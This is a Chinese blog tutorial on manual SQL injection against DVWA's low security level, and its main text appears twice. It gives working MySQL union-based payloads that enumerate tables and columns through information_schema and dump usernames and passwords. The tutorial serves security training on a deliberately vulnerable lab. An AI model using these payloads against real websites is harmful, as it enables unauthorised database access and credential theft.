DVWA系列之2 low级别SQL注入
2015-12-01 08:04
387 查看
将Security level设为on,在左侧列表中选择“SQL Injection”,然后在右侧的“User ID”文本框中输入不同的数字就会显示相应的用户信息。
我们首先需要判断这里所传输的参数是文本型还是数字型,分别输入3和1+2,观察它们显示的结果并不一致,因而就判断出参数类型是文本型。
点击页面右下角的“View Source”可以查看源代码,其中最重要的是如下图所示的两行语句:
第一行是以GET方式获取用户通过id参数传来的值并赋值给变量$id。
第二行是将select语句的查询结果赋值给变量$getid,select语句的作用是从users表中查找first_name和last_name两个字段的值,条件是user_id字段的值与用户输入的值相符。
这里我们在文本框中输入“' or 1=1 #”就可以显示users表中的所有数据:
将我们输入的语句代入源码中:
对于文本型的注入,主要就应考虑引号闭合的问题。#是MySQL中的注释符,它把之后的内容都给禁用了。
下面我们练习一下之前的手工MySQL注入流程。
首先输入“' union select 1,2 #”判断出字段数量为2,并且两个字段都可以代入参数进行查询。
输入“' union select user(),database() #”检测出MySQL版本为5.0,当前数据库名为dvwa。
输入“' union select table_name,2 from information_schema.tables where table_schema='dvwa' #”爆出dvwa数据库中有两个表:guestbook、users,其中我们关心的很明显是users。
输入“' union select column_name,2 from information_schema.columns where table_name='users' #”,爆出users表中的字段。
输入“' union select user,password from users #”,爆出用户名和密码。
对于MySQL手工注入不熟悉的同学可以参考之前的博文:
MySQL基本操作(PHP注入基础)http://yttitan.blog.51cto.com/70821/1570620
手工SQL注入(PHP) http://yttitan.blog.51cto.com/70821/1570821
我们首先需要判断这里所传输的参数是文本型还是数字型,分别输入3和1+2,观察它们显示的结果并不一致,因而就判断出参数类型是文本型。
点击页面右下角的“View Source”可以查看源代码,其中最重要的是如下图所示的两行语句:
第一行是以GET方式获取用户通过id参数传来的值并赋值给变量$id。
第二行是将select语句的查询结果赋值给变量$getid,select语句的作用是从users表中查找first_name和last_name两个字段的值,条件是user_id字段的值与用户输入的值相符。
这里我们在文本框中输入“' or 1=1 #”就可以显示users表中的所有数据:
将我们输入的语句代入源码中:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 #'"; |
下面我们练习一下之前的手工MySQL注入流程。
首先输入“' union select 1,2 #”判断出字段数量为2,并且两个字段都可以代入参数进行查询。
输入“' union select user(),database() #”检测出MySQL版本为5.0,当前数据库名为dvwa。
输入“' union select table_name,2 from information_schema.tables where table_schema='dvwa' #”爆出dvwa数据库中有两个表:guestbook、users,其中我们关心的很明显是users。
输入“' union select column_name,2 from information_schema.columns where table_name='users' #”,爆出users表中的字段。
输入“' union select user,password from users #”,爆出用户名和密码。
对于MySQL手工注入不熟悉的同学可以参考之前的博文:
MySQL基本操作(PHP注入基础)http://yttitan.blog.51cto.com/70821/1570620
手工SQL注入(PHP) http://yttitan.blog.51cto.com/70821/1570821
相关文章推荐
- MySQL中的integer 数据类型
- MySQL存储过程
- mysql中int、bigint、smallint 和 tinyint的区别与长度
- mysql load data 导出、导入 csv
- source命令执行SQL脚本文件
- MySQL创建用户及权限控制
- MySQL管理数据表
- linux下mysql添加用户
- mysql procedure
- mysql触发器
- MySQL 备份和恢复策略
- mac下安装mysql(转载)
- mysql 修改编码 Linux/Mac/Unix/通用(杜绝修改后无法启动的情况!)
- MySQL数据的导出、导入(mysql内部命令:mysqldump、mysql)
- mysql数据行转列
- Linux下修改MySQL编码的方法
- MySQL Server 日志
- MySQL 安全事宜
- MySQL 备份与恢复